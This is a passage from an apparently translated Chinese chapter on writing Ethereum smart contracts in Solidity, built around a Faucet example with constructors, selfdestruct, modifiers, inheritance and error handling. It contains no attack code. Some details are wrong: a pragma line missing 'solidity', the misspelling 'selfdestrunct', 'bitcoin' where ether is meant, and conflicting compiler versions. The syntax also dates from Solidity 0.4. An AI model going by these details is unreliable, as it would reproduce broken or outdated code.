交易是原子化的，无论它调用多少合约，或者这些合约被调用后执行多少操作。交易的执行是一个整体，对于全局状态（如合约、账户等）的修改仅会在所有执行都确定成功之后才会进行。确定成功意味着程序的执行没有出现任何错误，或者遇到执行的终结。如果程序执行因为错误而终止，它之前进行的所有操作（如改变的状态）都会被回滚，就像这个执行从来没有发生过一样。失败的交易仍旧会被作为一次失败的尝试而记录在案，执行所花费的gas将从发起账户中被扣除，除此之外，它不会对合约或者账户状态产生任何其他影响。

如上所述，需要牢记，合约实例的代码是不能被更改的。然而，合约实例可以被删除，从它的地址把代码和合约实例的内部状态（存储）清空，让这个地址变成一个空账户。合约实例被清空后，任何向这个地址发起的交易都不会引发任何代码的执行，因为这个地址对应的合约实例已经没有代码可供执行了。要删除合约实例，需要执行名为SELFDESTRUCT（之前称为SUICIDE）的EVM字节码。这个操作会产生负的gas消耗，也就是系统会提供gas退款，这也会激励人们通过删除存储状态的方式释放资源。删除合约并不会清除这个合约之前交易的历史记录，因为区块链本身是不可变的。另外，需要注意，只有合约的开发者在代码中编写了对应的删除功能，SELFDESTRUCT字节码才会起作用。如果合约的代码不包含SELFDESTRUCT字节码，或者合约实例是不可执行的，那么这个合约实例就无法删除。




以太坊高级编程语言



EVM是一个运行字节码这种特殊形式机器码的虚拟机，类似运行x86_64指令集的计算机CPU。我们会在第13章中详细介绍它的操作和指令。在这一章，我们将讨论智能合约如何运行在EVM上。

显然，可以直接使用字节码开发智能合约，但是EVM的字节码对于程序员来说非常难读和难懂。因此，大多数以太坊开发者使用高级编程语言编写智能合约，然后通过编译器转化为EVM字节码。

尽管任何高级编程语言都可以用来编写智能合约，但是让这些编程语言去兼容EVM的字节码却是一件苦差事，而且往往会无功而返。智能合约运行在一个高度隔离并且极其简单的执行环境（EVM）中，大多数常见的用户界面、操作系统接口和硬件接口在EVM环境中都不复存在。另外，跟EVM相关的一系列系统参数和函数也需要在编程语言中有所体现和支持。因此，从头开始开发一款全新的编程语言反而可能是好办法，因为这样不会受到通用编程语言的种种限制，而且更适合专用于编写智能合约。因此，一系列专门用于编写智能合约的编程语言开始涌现。以太坊有若干种智能合约编程语言和对应这些编程语言的编译器，用于生成可供EVM执行的字节码。

总体而言，编程语言可以分为两大类别：声明式的和指令式的，也对应称为函数式的和过程式的。在声明式的编程语言中，我们通过编写函数来表示程序的逻辑，但是不体现出程序的执行过程。声明式编程语言用于编写那些没有副作用的程序，就是对函数之外的状态没有修改的程序。声明式编程语言包括Haskell和SQL。指令式编程语言与之相反，是指程序员编写一组包含了逻辑和执行流程的指令。指令式编程语言包括C++和Java。有些编程语言是混合式的，意味着尽管这些语言鼓励使用声明式，但是也可以用来表述指令式的程序片段。这些混合式的编程语言包括Lisp、JavaScript和Python。简而言之，指令式的语言可以用来编写声明式的代码，但是会产生一些不够优雅的代码。相比之下，单纯的声明式语言不能用来编写指令式代码，因为在纯声明式语言中，并没有变量这个概念。

尽管指令式程序代码更容易编写和阅读，大多数程序员也都在使用，但是却很难用于编写那些严格按部就班执行的代码。程序的任何部分都有可能改变状态，这使得我们很难推断程序的执行，并为非预期的副作用和错误引入了许多机会。声明式程序也许更难编写，但避免了副作用，从而更容易理解（和控制）程序的行为方式——程序的每个部分都是相互独立的，降低了理解程序的难度。

智能合约为程序员设定了一个很高的门槛：如果有bug，可能会损失大量的金钱。因此，编写智能合约就需要极力避免任何可能的副作用。为此，你必须清楚地了解程序的预期行为。可见，声明式编程语言在智能合约中的作用要大于在通用软件中的作用。然而，正如你将在下面看到的，智能合约（Solidity）最为广泛使用的语言却是指令式的。程序员亦凡人，他们也会拒绝改变！

目前可用于智能合约编写的高级语言如下（按照出现的先后顺序）：


LLL


一种函数式（声明式）编程语言，语法类似Lisp，这是首款可以在以太坊上编写智能合约的编程语言，由本书作者之一Gavin Wood编写，但是现在已经很少有人使用了。


Serpent


一种过程式（指令式）编程语言，语法类似Python。也可以用来编写函数式（声明式）代码，尽管它并不是完全没有副作用。


Solidity


一种过程式编程语言，语法类似JavaScript、C++或者Java。这是最流行也是最常用的以太坊智能合约编程语言。


Vyper


一种最近推出的编程语言，语法类似Serpent和Python。目标在于达到比Serpent更加纯函数式的类Python语言，但并不是为了替代Serpent。


Bamboo


一种最近推出的编程语言，受Erlang启发，引入了显式状态转换，并去掉了递归式的循环。旨在减少副作用并提升可审计性。非常新，还未被广泛使用。

如你所见，编程语言的选择很多。然而，在这其中，Solidity是最为流行的，进而成为以太坊甚至其他带有EVM的区块链平台高级编程语言的事实标准。本书大部分内容都采用Solidity，我们也会介绍其他编程语言的例子，来了解这些语言背后的不同设计哲学。




使用Solidity编写智能合约



Solidity由Gavin Wood博士创建，作为一种专门编写智能合约的语言，支持在以太坊世界计算机的去中心化环境中直接执行。由于此编程语言具备普遍性，因此最终也被用于在其他几个区块链平台上编码智能合约。它由Christian Reitiwessner开发，然后由Alex Beregszaszi、Liana Husikyan、Yoichi Hirai和几位前以太坊核心贡献者维护。现在，作为GitHub上的独立项目继续被开发并维护（
https://github.com/ethereum/solidity

 ）。

Solidity项目的产出主要是Solidity编译器（solc），它用于把Solidity语言编写的代码编译为字节码。这个项目也管理以太坊智能合约的应用程序二进制接口（ABI）标准，这个概念我们会在本章稍后的内容中讨论。每一个版本的Solidity编译器都与它相应版本的编程语言一一对应。

为了开始学习，我们将下载Solidity编译器的二进制可执行文件。然后我们将开发和编译一个简单的合约，延续在第2章中使用的那个例子。



选择Solidity版本



Solidity的版本模型采用语义化版本（
https://semver.org/

 ），也就是说，通过MAJOR.MINOR.PATCH三组数字的方式来制定版本。主版本号用于主要的且不后向兼容的改变，次版本号代表两次大版本之间渐进式的后向兼容的改变，最后一位补丁号表示用于bug修复的后向兼容的版本。

在写作本书时，Solidity的版本是0.4.24。其中，主版本号0（用于项目的初始开发）的含义有所不同：它表示任何东西都可能随时更改。在实践中，Solidity将次版本号视为主版本号，将补丁号视为次版本号。因此，在0.4.24中，我们认为4是主版本号，24是次版本号。Solidty的0.5版本即将发布。

如我们在第2章的例子中提到的，Solidity程序可以包含一个编译指令，用于指定当前代码所兼容的用于编译合约的最低和最高版本。

因为Solidity正处在高速发展的过程中，因此建议总是使用最新的版本。



下载和安装



下载和安装Solidity的方式有很多种，可以使用二进制发布包，也可以直接利用源代码进行编译。你可以在Solidity的文档中看到详细的介绍：
https://solidity.readthedocs.io/en/latest/installing-solidity.html

 。

使用apt包管理器在Ubuntu/Debian操作系统上安装最新的Solidity二进制发布包：






$ sudo add-apt-repository ppa:ethereum/ethereum



$ sudo apt update



$ sudo apt install solc







安装成功完成后，可以检查Solidity的版本：






$ solc --version



solc, the solidity compiler commandline interface



Version: 0.4.24+commit.e67f0147.Linux.g++







取决于你的操作系统和需求，还有其他安装Solidity的方式，例如直接从源代码进行编译。更多的信息请查看
https://github.com/ethereum/solidity

 。



开发环境



你可以使用任何文本编辑器结合命令行的solc进行Solidity程序开发。但是，你会发现有些专门用于软件开发的文本编辑器，比如Emacs、Vim和Atom，它们提供了类似语法高亮和宏等高级功能，这些都会让Solidity的开发变得更容易。

还有基于Web页面的开发环境，例如Remix IDE（
https://remix.ethereum.org

 ）和EthFiddle（
https://ethfiddle.com

 ）。

使用这些工具会提升你的效率。最终，Solidity的程序代码只是一些纯文本文件，这些功能复杂的编辑器和开发环境会让编写代码的过程变得轻松，其实程序员只需要一个文本编辑器，比如Linux/Unix中的nano，或者MacOS中的TextEdit，甚至Windows中的NotePad。把程序源代码文件保存为.sol的扩展名，Solidity的编译器就能够识别并进行编译操作。



编写一个简单的Solidity程序



在第2章我们曾编写过第一个简单的Solidity程序。首次构建Faucet时，我们使用Remix IDE来编译和部署合约。在这一节，我们尝试重新编写并且改进和优化Faucet程序。

之前的代码是这样的：


代码7-1：Faucet.sol：实现Faucet合约的Solidity代码







1 // Our first contract is a faucet!



2 contract Faucet {



3



4     // Give out ether to anyone who asks



5     function withdraw(uint withdraw_amount) public {



6



7         // Limit withdrawal amount



8         require(withdraw_amount <= 100000000000000000);



9



10         // Send the amount to the address that requested it



11         msg.sender.transfer(withdraw_amount);



12     }



13



14     // Accept any incoming amount



15     function () public payable {}



16



17 }









使用Solidity编译器进行编译



现在，我们将在命令行使用Solidity编译器直接编译合约。Solidity编译器solc提供了诸多设置选项，可以使用--help参数进行查看。

我们使用solc命令--bin和--optimize来生成和优化合约的二进制代码：






$ solc --optimize --bin Faucet.sol



======= Faucet.sol:Faucet =======



Binary:



6060604052341561000f57600080fd5b60cf8061001d6000396000f300606060405260043610603e5



763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416



632e1a7d4d81146040575b005b3415604a57600080fd5b603e60043567016345785d8a00008111156



06357600080fd5b73ffffffffffffffffffffffffffffffffffffffff331681156108fc0282604051



600060405180830381858888f19350505050151560a057600080fd5b505600a165627a7a723058203



556d79355f2da19e773a9551e95f1ca7457f2b5fbbf4eacf7748ab59d2532130029







solc编译后生成十六进制的合约字节码，可以提交给以太坊区块链。




以太坊合约的应用程序二进制接口



在计算机软件中，应用程序二进制接口（Application Binary Interface，ABI）是指两个程序模块之间的接口，通常，一个在操作系统层面，另外一个在用户程序层面。ABI定义了数据结构和函数如何在机器指令中被访问。需要注意，这并不是我们常说的API，API定义了高级的、供程序员阅读和使用的源代码接口。ABI是向机器指令层面编码和解码并传送数据的主要方式。

在以太坊中，ABI用来编码合约中对EVM的调用和从交易中获取数据的调用。ABI的目的是定义合约中哪一个函数可以被调用，并且描述这个函数接收的参数和返回的数据。

合约ABI使用JSON格式表示，其中包含描述合约中函数和事件的数组（本章后面会具体讨论）。在JSON中，有关函数的属性描述字段包括type、name、inputs、outputs、constant和payable。有关事件的属性描述字段包括type、name、inputs和anonymous。

我们可以使用solc命令行编译器来生成Faucet.sol合约的ABI：






$ solc --abi Faucet.sol



======= Faucet.sol:Faucet =======



Contract JSON ABI



[{"constant":false,"inputs":[{"name":"withdraw_amount","type":"uint256"}], \



"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable", \



"type":"function"},{"payable":true,"stateMutability":"payable", \



"type":"fallback"}]







如你所见，编译器对Faucet.sol合约中定义的两个函数生成了JSON格式的描述信息。当合约部署以后，这个JSON对象可以被任何希望访问Faucet.sol合约的程序所解析。使用ABI、钱包或者DApp浏览器可以获得正确的调用参数和格式，构建调用Faucet.sol合约的以太坊交易。例如，钱包软件在调用withdraw函数时，需要通过ABI知道，这个调用需要提供一个uint256类型的变量，变量的名称是withdraw_amount。然后钱包软件就会提示用户输入这个参数，接着创建一个以太坊交易，调用合约的withdraw函数。

应用与合约的交互完全依赖于ABI和应用实例部署的以太坊地址。



选择Solidity编译器和语言版本



在之前的代码中，我们演示了Faucet合约通过Solidity 0.4.21版本的编译。但是，如果我们使用不用版本的编译器会发生什么？Solidity编程语言本身仍旧处在快速变化的过程中，因此可能会出现无法预料的问题。我们的合约相对比较简单，但是如果合约代码中使用了只在Solidity 0.4.19中提供的功能，而我们却尝试使用0.4.18进行编译，会发生什么？

为了解决这样的问题，Solidity提供了一个叫作编译器侦测的功能，使用版本编译指令来告诉编译器这段程序所需要的编译器版本号。我们来看一个例子：






pragma solidity ^0.4.19;







Solidity编译器会读取这个版本要求，如果当前编译器的版本与要求不符，就会提示报错。在我们的例子中，版本编译指令指出程序需要编译器的版本不低于0.4.19。“^”这个符号表示，我们的程序可以跟任何次版本号高于0.4.19（比如0.4.20）的编译器兼容，但无法与0.5.0这类主版本号的编译器兼容。版本编译指令不会被编译到EVM字节码，只是用在编译之前的兼容性检查。

让我们在Faucet合约中加入编译器版本要求。我们把新的合约命名为Faucet2.sol，用于跟踪后续例子中做出的修改：


代码7-2：Faucet2.sol:为Faucet合约代码添加版本编译指令







1 // Version of Solidity compiler this program was written for



2 pragma solidity ^0.4.19;



3



4 // Our first contract is a faucet!



5 contract Faucet {



6



7     // Give out ether to anyone who asks



8     function withdraw(uint withdraw_amount) public {



9



10         // Limit withdrawal amount



11         require(withdraw_amount <= 100000000000000000);



12



13         // Send the amount to the address that requested it



14         msg.sender.transfer(withdraw_amount);



15     }



16



17     // Accept any incoming amount



18     function () public payable {}



19



20 }







添加编译器版本要求是一种最佳实践，这样能够避免编译器和代码版本不兼容造成的问题。本章我们会接着介绍其他最佳实践，继续改进Faucet合约。




使用Solidity进行编程



在这一节，我们来看看Solidity编程语言的一些特性。在第2章中，我们的Faucet合约非常简单，也有不少问题。我们将逐步改善和修正这些问题，同时进一步学习Solidity。这些内容并不能构成完整的Solidity教程，因为这门语言非常复杂，而且在快速变化。我们将讨论一些必要的知识，让读者有充分的基础来完成自学。有关Solidity的完整文档可以在这里访问：
https://solidity.readthedocs.io/en/latest

 。



数据类型



首先，我们来看看Solidity中的几种基本数据类型。


布尔型（bool）


布尔值true或false，可以使用逻辑操作符!（否）、&&（与）、||（或）、==（等于）和!=（不等于）。


整数型（int、uint）


有符号（int）和无符号（uint）整数，以8比特为单位，从int8到uint256。当没有明确说明长度时，默认使用256比特，因为这也是以太坊虚拟机的字长。


固定浮点数（fixed、ufixed）


固定小数点的浮点数，使用(u)fixedMxN定义，其中M是比特的位数（从8到256），N用来表示小数点之后有多少位（最多18），例如ufixed32x2。


地址


20字节长度的以太坊地址。这个address对象有若干很有用的成员函数，最主要的就是balance，用来返回地址上以太币的余额，还有transfer，用来向地址发送以太币。


字节数组（固定的）


固定长度的字节数组，使用bytes1到bytes32进行声明。


字节数组（动态的）


动态长度的字节数组，使用bytes或string进行声明。


枚举


用户定义的数据类型，用于枚举互相没有关联的一组值，如enumNAME{LABEL1,LABEL 2,...}。


数组


数组可以包含任意类型的数据，可以是固定的，也可以是动态的。例如，uint32[][5]包含五个动态数组，成员为无符号整型。


结构


由用户定义的一种数据结构，其中包含多种其他类型的变量，如struct NAME{TYPE1 VARIABLE1;TYPE2 VARIABLE2;...}。


映射


用于查找key=>value映射的哈希表，如mapping(KEY_TYPE=>VALUE_TYPE)NAME。

除了上述数据类型，Solidity也提供了多种可用于计算不同单位的字面量。


时间单位


seconds、minutes、hours和days可以作为前缀，用来对基本的计时单位seconds进行单位转换。


以太币单位


wei、finney、szabo和ether可以作为前缀，对基本的以太币单位wei进行单位转换。

目前为止，在Faucet合约的例子中，我们使用uint（uint256的简称）来定义withdraw_amount变量。我们也在msg.sender中间接用到了address变量。我们会在后续的例子中使用更多的数据类型。

现在让我们尝试使用单位转换工具，来改进合约例子中数值的可读性。在withdraw函数中我们限制了提取的最大值，使用wei这个以太币的最基本单位进行表示。






require(withdraw_amount <= 100000000000000000);







这并不是很容易读，所以我们可以使用单位转化工具来改善代码，使用以太币单位来表示，而不是用wei：






require(withdraw_amount <= 0.1 ether);









预定义的全局变量和函数



当合约在EVM中执行时，它可以访问一组有限的全局对象，包括block、msg和tx对象。另外，以太坊把一些EVM字节码通过预定义函数的方式对外提供。在这一节，我们会讨论这些可以在智能合约中访问的以太坊全局变量和函数。


交易/消息的调用上下文


msg对象是指触发合约执行的交易，这个交易可能来自外部账户交易调用，也可能来自其他合约的消息调用。这个对象包含了一些有用的属性：


msg.sender


我们已经使用过这个属性了。它代表发起合约调用的以太坊地址，这个地址不一定是发起调用的外部账户的地址。如果合约是由来自外部账户的交易触发的，那么这个地址就是对交易进行签名的地址，否则就是另外一个合约的地址（合约之间的互相调用）。


msg.value


调用中发送的以太币数量（以wei为单位）。


msg.gas


执行环境中当前可用的gas数量。这个属性已经被废弃，将会被Solidity v0.4.21中的gasleft函数取代。


msg.data


调用合约时传入的数据。


msg.sig


传输数据的前四个字节，这是一个函数选择器。


 　当一个合约调用另外一个合约时，msg对象的值将会全部发生变化，用以体现出新的调用方的信息。唯一的例外是delegatecall函数，它在当前合约的上下文中执行其他合约或者库的代码。


交易的上下文


tx对象提供了访问交易相关信息的办法：


tx.gasprice


调用交易的gas价格。


tx.origin


发起这个交易的外部账户的地址。警告：这是个不安全的做法。


区块的上下文


block对象包含了当前区块的信息：


block.blockhash(blockNumber)


指定区块的哈希值，仅限于当前区块之前不超过256个区块。目前已经弃用，在Solidity v.0.4.22中被blockhash方法所取代。


block.coinbase


当前区块的矿工地址，用于接收这个区块的出块奖励和所有交易费。


block.difficulty


当前区块工作量证明的难度。


block.gaslimit


可以在当前区块中包含的所有事务中花费的最大gas数量。


block.number


当前的区块编号（区块在链中的高度）。


block.timestamp


由矿工写入的当前区块的时间戳，使用的是UNIX式的计时方式。


地址对象


不论是来自于外部输入，还是从合约对象中获取，地址类对象都包含如下属性和方法：


address.balance


当前地址的余额，以wei为单位。例如，当前合约账户的余额可以用如下方式来获得：address(this).balance。


address.transfer(amount)


转账一定数量（以wei为单位）的以太币到指定的地址，遇到任何错误都将抛出异常。我们在Faucet例子中使用过这个方法，针对的是msg.sender这个地址，即msg.sender.transfer。


address.send(amount)


跟上面的transfer方法类似，但是在遇到错误时不会抛出异常，而是返回false。警告：需要总是检查send方法的返回值（确保转账成功）。


address.call(payload)


一种底层CALL函数，可以构建一个包含自定义数据的调用，出错时会返回false。警告：这不是一种安全的调用，调用接收方可以无意或有意地耗尽你的gas，导致合约因为00G异常而停止，总是要检查call的返回值。


address.callcode(payload)


一种底层CALLCODE函数，类似address(this).call(...)，但是this由这个合约的代码替代，在出错时会返回false。警告：仅限于特殊使用场合。


address.delegatecall()


一种底层DELEGATECALL函数，与callcode(...)相似，但是当前合约可以访问完整的msg上下文。在出错时会返回false。警告：仅限于特殊使用场合。


内建函数


其他值得注意的函数是：


addmod、mulmod


模数的加法和乘法，例如：addmod(x,y,k)计算(x+y)%k。


keccak256、sha256、sha3、ripemd160


多种算法的哈希计算函数。


ecrecover


从数字签名的数据中计算，获取签名地址。


selfdestrunct(recipient_address)


删除当前的合约，把合约中剩余的比特币转账到recipient_address这个地址。


this


当前执行合约账户的以太坊地址。



合约定义



Solidity的核心数据类型是contract对象，在Faucet的例子中，代码一开始就定义了contract对象。类似于任何面向对象编程语言中的对象类型，合约对象也包含了数据和操作这些数据的方法。

Solidity还提供了另外两个类似于合约的对象：


interface


接口的定义方式几乎跟合约完全相同，不过这些函数并没有具体的定义，只是做了声明而已。这些类型函数的声明通常被称为桩，因为它可以在不进行任何实现的情况下，告诉人们这些函数接收的参数和返回的值。这用于定义合约的接口，如果接口被继承，那么接口声明的所有函数必须在继承的子合约中定义。


library


库合约意味着只被部署一次，并供其他合约调用。使用delegatecall方法可以调用库合约。



函数



在合约中，我们可以定义函数，函数可以被外部账户调用，也可以被其他合约调用。在Faucet的例子中，我们使用了两个函数：withdraw和（未命名的）回退函数。

函数通过如下语法定义：






function FunctionName([parameters]) {public|private|internal|external}



[pure|constant|view|payable] [modifiers] [returns (return types)]







我们来看其中的每个部分：


FunctionName


定义函数的名字，用于在外部账户发起的交易、其他合约或者本合约内部调用函数。合约中的回退函数在定义时不需要提供名字，这是在调用没有指明函数名字时默认会调用的方法。回退函数没有任何参数，也不返回任何值。


parameters


在函数名字之后，我们需要指定必须传递给函数的参数，包括参数的名称和类型。在Faucet的例子中，我们定义了uint withdraw_amount作为withdraw函数的唯一参数。

接下来的几个关键字（public、private、internal、external），用于设定函数的可见范围：


public


public是默认值，设定为public的函数可以被外部账户的交易、其他合约和本合约内部调用。在Faucet的例子中，两个函数都是被定义为public的。


external


定义为external的函数类似public函数，唯一的区别在于不能在合约内部调用，除非在调用时指明关键字this。


internal


internal函数只能被合约内部的函数调用，不能被外部账户的交易或者其他合约调用。它们还可以被派生的子合约调用（也就是继承了当前合约的子合约）。


private


private函数跟internal函数类似，唯一的区别是private函数无法被当前合约所派生出的子合约调用。

请注意，内部和私有这两个词会引起歧义。任何在合约内的数据或者函数都是在公共区块链上可见的，这也意味着任何人都能够看到代码或者数据。上述这两个关键字只是会影响函数是否可以被调用。

下面的一组关键字（pure、constant、view、payable）会影响函数的行为：


constant或view


当函数被标注为view时，它将承诺不对任何状态进行修改。constant是view的另一种表示方式，但是将被废弃不用。当前，编译器不会强制view修饰符，只是提出一个警告。但是在Solidity 0.5版本中，这会是一个强制的要求。


pure


pure函数表示这个函数不会在区块链存储中读取或者写入任何数据。这样的函数只能处理参数，然后返回值给调用方，无法在区块链上读取或者存储任何数据。pure函数旨在鼓励程序员编写声明式的代码，不产生副作用。


payable


payable函数用于接收外部的支付。未声明为payable的函数不能接收任何以太币支付。但是由于EVM的设计决策，有两种意外情况：区块挖矿的奖励支付和SELFDESTRUCT的合约注销支付将会有效，即使对应的回退函数没有声明为payable，这样的设定也是合理的，因为这类代码的执行并不属于那些支付流程。

如你在Faucet例子中所见，我们的代码包含payable函数（回退函数），这是合约中唯一可以用来接收以太币支付的函数。



合约的构造函数和自毁函数



有一个特殊的函数，它只会被用到一次。当合约实例被创建时，如果构造函数这个函数已经定义，它就会被执行，用来初始化合约的状态。构造函数会运行在创建合约交易的上下文中。构造函数不是必需的，比如，Faucet的例子中就不包含构造函数。

构造函数可以通过两种方式定义。截止到Solidity v.0.4.21，构造函数是跟合约同名的函数：






contract MEContract {



        function MEContract() {



                // This is the constructor



        }



}







这种定义方式的问题在于，如果合约的名字发生了变化，但是构造函数没有及时改变，那么构造函数就失去作用了。同样，如果在输入合约或者构造函数的名字时不小心打错了字，那么构造函数同样不会起作用。这会导致一些非常难处理、无法预料甚至隐藏很深的问题。想象一下，例如，构造函数出于控制的目的而设置合约的所有者。如果由于命名错误而使该函数实际上不是构造函数，则不仅在创建合约时未能设置所有者，而且该函数也可以部署为合约的永久性和“可调用”部分，像普通函数一样，允许任何第三方劫持合约，并在合约创建后成为“所有者”。

为了解决构造函数定义中存在的这个潜在问题，Solidity v0.4.22引入了constructor关键字用于明确指定合约的构造函数。修改合约的名称不会影响构造函数，这样，也更容易识别到底哪个函数是整个合约的构造函数。具体的代码如下：






pragma ^0.4.22



contract MEContract {



        constructor () {



                // This is the constructor



        }



}







所以，简而言之，合约的生命周期开始于来自外部的账户创建交易，或者合约账户的调用。如何合约定义了构造函数，就会在合约创建的同时执行，用于初始化合约中的各种内部状态，然后这个构造函数就再也不会被使用了。

合约生命周期的另一端是合约析构。合约被称为SELFDESTRUCT的特殊EVM字节码销毁。它过去被称为SUICIDE，但由于这个词比较负面，该名称已被废弃不用。在Solidity中，此字节码作为高级内置函数公开，称为selfdestruct，它接收一个参数：合同账户中剩余的任何以太币余额的地址。对应的代码如下：






selfdestruct(address recipient);







需要注意：程序员必须手动在合约中包含这个指令，这样合约才可以被销毁，这也是销毁合约的唯一途径。合约默认不提供这样的能力。如果用户希望合约永久存在，那么只要合约代码中没有加入SELFDESTRUCT字节码，这个合约就无法从以太坊中销毁。



在Faucet合约中添加构造函数和自毁函数



我们在第2章中编写的Faucet合约并不包含任何构造函数或自毁函数。一旦部署之后，它将永远存在于以太坊的区块链上。我们做一些修改，添加构造函数或自毁函数。我们肯定希望只有部署这个合约的外部账户才能够调用自毁函数。根据约定，这个外部账户的地址会被保存在名为owner的变量中。我们在构造函数中设定owner变量的值，自毁函数在运行之前，会先检查调用方是否来自合约的owner。

首先来看构造函数的代码：






// Version of Solidity compiler this program was written for



pragma solidity ^0.4.22;



// Our first contract is a faucet!



contract Faucet {



        address owner;



        // Initialize Faucet contract: set owner



        constructor() {



                owner = msg.sender;



        }



[...]







我们在一开始的编译器版本要求中指定v0.4.22是最低兼容的编译器版本，因为我们使用的构造函数关键字只有在v0.4.22或之后的Solidity编译器中才存在。合约中有一个address类型的变量owner。owner只是一个变量名称，在此没有任何特殊的含义，即使我们把这个变量称为“potato”，也仍旧不影响它的使用。变量的名称叫作owner只是为了明确用途，便于阅读。

接着，构造函数会在合约被创建的交易上下文中运行，它会把创建合约这个交易的msg.sender赋予owner变量。我们曾经在withdraw函数中使用msg.sender来识别提币请求。在构造函数执行时，msg.sender是创建这个合约的外部账户的地址，或者是调用触发了合约创建的其他合约的地址。我们之所以这么肯定，是因为构造函数只会运行一次，并且肯定是运行在合约被创建时的那个交易上下文中。

好了，现在可以添加一个删除合约的函数，我们需要确保只有这个合约的所有者（部署合约的账户）才可以执行这个函数，需要使用require来控制对这个函数的访问。下面是具体的代码：






// Contract destructor



function destroy() public {



        require(msg.sender == owner);



        selfdestruct(owner);



}







如果调用destroy函数的地址并不等于owner中保存的地址，这次调用就会失败。如果调用的地址等于owner保存的地址，那么合约就会自我删除，并把合约账户中剩余的以太币发回给owner这个地址。需要注意：我们并没有使用不安全的tx.origin来判断调用合约的是否是合约的所有者，使用tx.origin会导致一些恶意合约在没有被授权的情况下删除你的合约。



函数修饰符



Solidity提供了一种名为函数修饰符的特殊方法。在定义函数时，可以把修饰符添加到定义中。修饰符通常用来对函数进行某些条件限制。我们在destroy函数中曾有一个条件判断，现在通过修饰符来表达同样的条件：






modifier onlyOwner {



    require(msg.sender == owner);



    _;



}







在这段代码中，我们声明了一个名为onlyOwner的修饰符。它会对作用到的函数设定一个条件。在这个例子中，修饰符要求owner中保存的地址与当前调用交易的msg.sender一致。这是以太坊访问控制的最基本设计模式，即通过修饰符来限制只有合约的创建者才能够执行特定的函数。

你可能已经注意到了，在修饰符中有一个特殊的下划线和分号组成的占位符号“_;”。这个占位符会被修饰符所作用到的代码替代。简单地说，这个修饰符会包裹在被修饰函数之外，把被修饰函数的代码放在这个下划线占位符的位置。

为了使用修饰符，你可以在声明函数时，在函数前面加上修饰符的名称。一个函数可以被应用于多个修饰符，修饰符根据声明的先后顺序依次生效。

我们使用onlyOwner这个修饰符重新编写destroy函数：






function destroy() public onlyOwner {



    selfdestruct(owner);



}







修饰符的名称（onlyOwner）位于public关键字之后，告诉编译器这个destroy函数已经被onlyOwner修饰符所修改。顾名思义，你可以认为，这个函数只能由合约的所有者调用。实践中，这等效于生成的代码与把onlyOwner的修饰符代码包裹在destroy之外。

修饰符是非常有用的工具，因为它允许我们为函数编写预制的条件，然后以非常一致的方式应用这些条件，让代码更容易阅读，也更容易审计，并且提升安全性。修饰符被广泛应用在函数的访问控制领域，但是修饰符的用法多种多样，也可以用于其他目的。

在修饰符的内部，你可以访问修饰符所作用到的函数能够访问的所有变量和参数。在这个例子中，我们可以访问owner，这个变量在合约中声明。但反过来却不行：你不可以在函数的代码中访问修饰符内定义的变量。



合约的继承



Solidity的合约对象支持继承，这是扩展基础合约并添加额外功能的一种方式。为了使用继承功能，需要使用is关键字来指定父合约：






contract Child is Parent {



  ...



}







在这个合约中，子合约Child继承了父合约Parent中的所有方法、功能和变量。Solidity也支持多重继承，在声明时，需要在is关键字之后使用逗号分隔每一个父合约：






contract Child is Parent1, Parent2 {



  ...



}







继承这个特性允许我们编写模块化、可扩展和可复用的合约。我们可以从一个简单的合约开始，其中只实现最基础的能力，然后通过继承的方式把合约的功能扩展到具体的领域。

在Faucet合约中，我们引入了构造函数和析构函数，以及在构造函数中对合约所有者的访问控制。这些功能非常通用，多数合约都需要这样的功能。我们可以把这些定义为通用合约，然后使用继承的方式在Faucet合约中扩展。

我们从开始定义父合约owned开始，这个合约有一个在构造函数中定义的owner变量：






contract owned {



        address owner;



        // Contract constructor: set owner



        constructor() {



                owner = msg.sender;



        }



        // Access control modifier



        modifier onlyOwner {



            require(msg.sender == owner);



            _;



        }



}







接着，我们定义一个名为mortal的父合约，它继承了owned：






contract mortal is owned {



        // Contract destructor



        function destroy() public onlyOwner {



                selfdestruct(owner);



        }



}







如你所见，mortal可以使用从owned继承而来的onlyOwner修饰符。它也间接地使用了owned的地址变量和owned中定义的构造函数。继承使得每一个合约都变得相对简单，能够聚焦在它所处理的具体问题上，这样我们就可以通过模块化的方式来管理所有细节。

现在我们可以更进一步扩展这个owned合约，在Faucet中继承和使用它的功能：






contract Faucet is mortal {



    // Give out ether to anyone who asks



    function withdraw(uint withdraw_amount) public {



        // Limit withdrawal amount



        require(withdraw_amount <= 0.1 ether);



        // Send the amount to the address that requested it



        msg.sender.transfer(withdraw_amount);



    }



    // Accept any incoming amount



    function () public payable {}



}







通过继承mortal合约，以及间接继承的owned，Faucet合约现在有了构造函数和destroy函数，并且定义了合约所有者。这些功能与之前在Faucet内部通过代码实现的完全一样，但是我们却可以在其他合约中重复使用这些功能，而不用再编写重复的代码。代码复用和模块化让我们的项目更简洁、更易读，也更容易进行代码安全性审计。



错误处理（assert、require和revert）



合约的执行过程可能会中断，也可能会返回错误。Solidity中的错误处理由以下这几个关键字负责：assert、require、revert和throw（目前已经废弃）。

当合约遇到错误而中断执行时，所有的状态更改（变量、余额等）都会回滚，如果是一串合约的连续调用，则会一直恢复到最初触发这一串调用的那个合约时的状态。这确保了交易的原子化，意味着一个交易需要作为整体而成功，如果失败，不会发生任何状态改变，整体撤销。

assert和require这两个函数起到同样的作用，它们判断条件是否满足，如果不满足，就触发错误并且中止合约的执行。根据约定，assert用于判断输出条件为真的情况，也就是说，我们使用assert来判断内部条件。与之对应，require用来测试输入（例如函数的参数，或者交易对象的字段等），验证我们对这些外部变量的期望。

我们在函数修饰符onlyOwner中使用过require函数，用于验证交易消息的发送方的地址是否等于合约创建者的地址。






require(msg.sender == owner);







require函数扮演了条件门的角色，如果条件不满足，它会阻止后续代码的执行，并且产生一个错误。

在Solidity v.0.4.22中，require也可以包含一个提示信息，用于指明发生错误的原因。错误信息会被记录在交易的日志中。因此我们可以更进一步优化代码，在其中加入这个报错信息：






require(msg.sender == owner, "Only the contract owner can call this function");







revert和throw函数用于立即中止合约的执行，并且把状态回滚。throw函数已经淘汰，并将在未来版本的Solidity中被移除，我们应该使用revert函数。revert函数也可以接收一个作为出错信息的参数，这个信息会被记录在交易的日志中。

无论我们是否进行边界条件的检查，有些合约在执行的过程中总是会产生错误。例如Faucet合约，我们并没有检查合约是否拥有足够满足提币申请的以太币。但是当合约中的余额不足以满足提币请求时，transfer函数会失败，发出错误信息并回滚当前交易的状态。






msg.sender.transfer(withdraw_amount);







